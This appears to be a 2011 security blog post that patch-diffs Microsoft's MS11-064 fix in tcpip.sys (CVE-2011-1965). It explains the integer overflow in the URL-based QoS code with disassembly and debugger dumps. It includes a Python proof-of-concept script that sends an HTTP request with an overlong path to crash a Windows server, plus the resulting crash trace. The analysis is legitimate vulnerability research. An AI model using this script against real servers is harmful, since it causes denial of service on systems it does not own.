MS11-064 : Vulnerabilities in TCP/IP Stack Could Allow Denial of Service (2563894)
Posted: 2011/09/07 Filed under: Uncategorized | Tags: MS11-064 tcpip 1 Comment »Updates on 9/9/2011
More detailed analysis & exploits (it’s successful only one time though)
Related CVEs
- TCP/IP QOS Denial of Service Vulnerability – CVE-2011-1965
- ICMP Denial of Service Vulnerability – CVE-2011-1871
- Before – tcpip.sys 6.1.7601.17603 (win7sp1_gdr.110424-1504)
- After – tcpip.sys 6.1.7601.17638 (win7sp1_gdr.110620-1602)
Descriptions
Upon running two tcpip.sys binaries, DG shows five different functions.
Let’s take a look at the descriptions of CVE-2011-1965.
By sending a request with a specially crafted URL, an unauthenticated, remote attacker may be able to cause the affected host to stop responding and automatically reboot if it is serving web content and has URL-based QoS (Quality of Service) enabled. (CVE-2011-1965)
Surprisingly _EQoSAllocateHkeUrlSearch@20 has only one block change.

The only difference is that ‘add cx, cx’ is removed in new version. I guess this is because the field [esi+4] was assumed to have unicode string length, but it was not. Because of this ‘add cx,cx’, integer overflow could be triggered (and possibly trigger integer underflow on ‘sub cx, [esi+0ch]‘) and I suspect this overflow issue leads Denial of Service later.
After spending sometime, we figured out how to trigger this routine and how to work this out.
GET /foo/bar.html HTTP/1.1
HOST: www.darungrim.com
If the windows receives the HTTP requests like above, http.sys parses the HTTP request header and builds up the full URL and passes this information to ‘tcpip.sys’. (remember, this is all happening inside the kernel ! ). Register ‘esi’ actually points to the url structure, which is initialized by http!UlpHkeInitializeUrl. The layout of the structure is described below.
[esi+0] fullUrlLen (word) (counted as multibyte characters)
[esi+4] subUrlLen (word) (counted as multibyte characters)
[esi+c] pFullUrlBuffer (dword) // pointer to ”http://www.darungrim.com:80/foo/bar.html” (unicode string)
[esi+14] pSubUrlBuffer (dword) // pointer to “/foo/bar.html” (unicode string)
Thus [ebp+arg_c] will be computed like this. [ebp+arg_c] = subUrlLen + subUrlLen – pFullUrlBuffer + pSubUrlBuffer. Because there is overflow issues, [ebp+arg-c] could be assigned with the unexpected value. Finally, this [ebp+arg_c] will be used as a size argument of memcpy() call.
.text:000CC118 mov eax, [ebp+var_4] .text:000CC11B and eax, 0FFFFFFFCh .text:000CC11E mov [edi+18h], ebx .text:000CC121 add ebx, eax .text:000CC123 movzx eax, word ptr [ebp+arg_C] .text:000CC127 push eax ; size_t .text:000CC128 push dword ptr [esi+0Ch] ; void * .text:000CC12B push ebx ; void * .text:000CC12C call _memcpy
Exploitability
So far, we do not have POC. To trigger this vulnerability, the victim server should turn on ‘url-based QOS’, which is a part of ‘policy based QoS’ techniques in Windows 7 / Windows 2008, and also need to turn on the web server (probably it should be IIS?). A simple HTTP request to the server triggers the codes which is very close to the vulnerable routine. (Any comments are always welcomed !)
Though we’ve seen the blue screen only one time (OMG ! yeah we cannot repeat this), we got the crushdump which might be enough to confirm the vulnerability.
Here’s the exploit codes (remember ! this exploit worked only once, but it is good enough to trigger vulnerable routine so that you guys can try this on your own)
import struct
import socket
HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80
def tryOnce(i,j):
print hex(i), hex(j)
filename = ["a"*0x100 for x in range(i)]
filename = "/".join(filename)
filename += "/" + "b" * j
print "filename len : ", hex(len(filename))
hostname = "www.darungrim.org"
header = "GET /%s\n" % filename
header += "HOST: %s\n\n\n" % hostname
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(header)
response = s.recv(1024)
s.close()
print response
return
if __name__ == '__main__':
tryOnce(0x3c,0x7)
kd>
tcpip!EQoSAllocateHkeUrlSearch+0x8d:
870cc0aa 6603c9 add cx,cx
kd> r
eax=00000020 ebx=841ecfb0 ecx=00007888 edx=870f1aa2 esi=9166b80c edi=9166b7c0
eip=870cc0aa esp=9166b770 ebp=9166b798 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
tcpip!EQoSAllocateHkeUrlSearch+0x8d:
870cc0aa 6603c9 add cx,cx
kd> dd esi
9166b80c 001278ae 90847888 85e00050 84345000
9166b81c 8434500e 84345026 00000000 8609c020
9166b82c 8620a910 841ecf78 848f2f28 9166b854
9166b83c 9082a21a 85e0f008 9166b85c 841ec008
9166b84c 841eb008 00000000 9166b968 9085955a
9166b85c 85e0f0b0 841ec050 00000001 00000000
9166b86c 00000001 00000000 841eb008 9082afa1
9166b87c 841ec008 00000000 00000000 01e23583
kd> dc 84345000
84345000 00740068 00700074 002f003a 0031002f h.t.t.p.:././.1.
84345010 00370032 0030002e 0030002e 0031002e 2.7...0...0...1.
84345020 0038003a 002f0030 00610061 00610061 :.8.0./.a.a.a.a.
84345030 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345040 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345050 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345060 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345070 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
kd> dc 84345026
84345026 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
84345036 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345046 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345056 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345066 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345076 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345086 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
84345096 00610061 00610061 00610061 00610061 a.a.a.a.a.a.a.a.
Here's crashdump status. (using the exploit codes above, but still we puzzled why it's not working anymore. it might be because of heap status ???)
kd> r eax=8294917c ebx=00000000 ecx=000000a8 edx=00000000 esi=8293bd20 edi=00000000 eip=828978e3 esp=93f37648 ebp=93f376c8 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 nt!MmAccessFault+0x106: 828978e3 cc int 3 kd> u . nt!MmAccessFault+0x106: 828978e3 cc int 3 828978e4 8b06 mov eax,dword ptr [esi] 828978e6 8b5e04 mov ebx,dword ptr [esi+4] 828978e9 8b7d08 mov edi,dword ptr [ebp+8] 828978ec 897c2424 mov dword ptr [esp+24h],edi 828978f0 8364242401 and dword ptr [esp+24h],1 828978f5 743d je nt!MmAccessFault+0x156 (82897934) 828978f7 8bd0 mov edx,eax kd> k v ChildEBP RetAddr Args to Child 93f376c8 828585f8 00000000 863d4000 00000000 nt!MmAccessFault+0x106 93f376c8 828507d3 00000000 863d4000 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ 93f376e0) 93f3775c 870f4131 84e6d020 863cc000 0000f136 nt!memcpy+0x33 93f37798 870f8463 00000020 84f6e168 845f69dc tcpip!EQoSAllocateHkeUrlSearch+0x114 (FPO: [Non-Fpo]) 93f377dc 9064ccc7 93f3780c 845f69dc ffffffff tcpip!EQoSHkeAcquireQoS+0x62 (FPO: [Non-Fpo]) 93f37838 9061f21a 845f6990 93f3785c 84279008 HTTP!UlHkeAcquireQoS+0x1c2 (FPO: [Non-Fpo]) 93f37854 9064e55a 845f6a38 84279050 00000001 HTTP!UlSendData+0x54 (FPO: [Non-Fpo]) 93f37968 9065b0c9 0041b5d4 93f37af4 93f379b4 HTTP!UlFastSendHttpResponse+0x925 (FPO: [Non-Fpo]) 93f37be8 906190cc 85e1ba00 85e1badc 85d7f1e8 HTTP!UlSendHttpResponseIoctl+0x4cb (FPO: [Non-Fpo]) 93f37bfc 8284e4bc 85d7f1e8 85e1ba00 85e1ba00 HTTP!UlDeviceControl+0x39 (FPO: [Non-Fpo]) 93f37c14 82a4feee 853ad930 85e1ba00 85e1badc nt!IofCallDriver+0x63 93f37c34 82a6ccd1 85d7f1e8 853ad930 00000000 nt!IopSynchronousServiceTail+0x1f8 93f37cd0 82a6f4ac 85d7f1e8 85e1ba00 00000000 nt!IopXxxControlFile+0x6aa 93f37d04 8285542a 0000023c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 93f37d04 778a64f4 0000023c 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93f37d34) WARNING: Frame IP not in any known module. Following frames may be wrong. 011af4b8 00000000 00000000 00000000 00000000 0x778a64f4

Very interesting article. Keep up the good work, looking forward to your next article.